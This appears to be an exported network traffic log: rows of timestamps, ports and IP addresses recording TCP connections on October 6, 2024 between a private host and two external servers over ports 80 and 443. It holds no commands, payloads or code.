Oct 6, 2024 22:33:23.860196114 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860205889 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860220909 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860229015 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860274076 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860341072 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860364914 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860377073 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860416889 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860523939 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860538006 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860552073 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860563993 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860585928 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860589027 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860603094 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860618114 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.860624075 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.860654116 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.861726999 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861752987 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861767054 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861772060 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.861803055 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.861845970 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861859083 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861872911 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.861884117 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.861911058 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.862783909 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.862827063 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.875097036 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.875226021 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.875271082 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.875294924 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.875341892 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.875380993 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.875577927 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.875591993 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.875616074 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.875621080 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.878952026 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.878984928 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.879070997 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.879250050 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.879262924 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.885826111 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.886249065 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.886301994 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.886332989 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.886351109 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.889775038 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.889796972 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.889853001 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.889985085 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.889993906 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.891520977 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.891896963 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.891906023 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.892514944 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.892519951 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.949369907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.949417114 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.949424982 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.949436903 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.949455976 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.949476957 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950359106 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950373888 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950387001 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950396061 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950427055 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950503111 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950516939 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950531006 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950536013 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950567007 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950607061 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950627089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950640917 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950642109 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950655937 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.950668097 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950680017 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.950697899 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.951431990 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951445103 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951467991 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951476097 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.951492071 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951499939 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.951507092 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951519012 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951523066 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.951533079 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.951546907 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.951570034 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952310085 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952349901 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952353954 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952364922 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952389956 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952409983 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952419996 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952438116 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952454090 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952455044 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952476025 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952493906 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.952507973 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.952545881 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.953278065 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.953320026 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.953344107 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.953358889 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:23.953376055 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.953391075 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:23.993207932 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.993290901 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.993331909 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.993341923 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.993386030 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.993427992 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.993669987 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.993680000 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.993689060 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.993693113 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.998310089 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.998338938 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:23.998399973 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.998565912 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:23.998579025 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.022140026 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.022783041 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.022794962 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.023252010 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.023257971 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.026449919 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.026736975 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.026745081 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.027080059 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.027084112 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.046338081 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046401978 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046413898 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046416044 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046437979 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046459913 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046463013 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046474934 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046490908 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046504021 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046546936 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046586037 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046616077 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046628952 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046650887 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046667099 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.046957016 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046977997 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046992064 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.046999931 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047013998 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047015905 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047029972 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047035933 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047044992 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047053099 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047063112 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047071934 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047076941 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047110081 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047791958 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047836065 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047837973 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047852039 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047869921 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047887087 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047911882 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047924995 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047939062 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047947884 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047954082 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047961950 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.047981024 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.047991037 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048018932 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048558950 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048580885 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048593998 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048599958 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048614025 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048634052 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048691988 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048705101 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048718929 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048727989 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048732042 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048743963 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048747063 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.048759937 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.048787117 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049506903 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049550056 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049556017 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049570084 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049590111 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049602985 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049604893 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049618959 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049635887 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049649954 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049686909 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049700022 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049714088 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.049722910 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049738884 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.049761057 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050384045 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050425053 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050434113 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050447941 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050471067 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050487041 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050498009 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050513983 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050529957 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050535917 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050543070 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.050553083 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050570965 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.050586939 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130064964 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130103111 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130116940 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130134106 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130147934 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130153894 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130167961 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130196095 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130215883 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130228043 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130247116 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130250931 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130259991 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130264044 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130275965 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130276918 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130289078 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130295992 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130301952 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130316019 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130337954 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130472898 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130486012 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130498886 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130511999 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130537033 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130541086 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130553007 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130567074 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130578041 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130579948 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130594015 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130603075 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130628109 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130819082 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130831003 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130848885 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130857944 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130867004 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130887985 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130947113 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130964994 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130976915 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130985975 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.130990028 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.130997896 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131016970 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131028891 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131061077 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131072998 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131084919 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131095886 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131098032 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131110907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131114006 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131124973 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131136894 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131139040 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131161928 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131181955 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131843090 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131860018 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131872892 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131886959 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131891966 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131899118 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131910086 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131916046 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131930113 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.131933928 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131951094 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131973982 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.131989002 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132002115 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132014036 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132019997 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132028103 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132036924 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132055998 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132524967 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132560968 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132565022 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132574081 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132590055 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132608891 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132613897 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132627010 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132639885 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132644892 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132652044 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132663012 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132682085 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132742882 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132755995 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132767916 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132777929 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132780075 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132791996 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132802963 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132829905 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132833004 CEST	80	49837	147.45.44.104	192.168.2.4
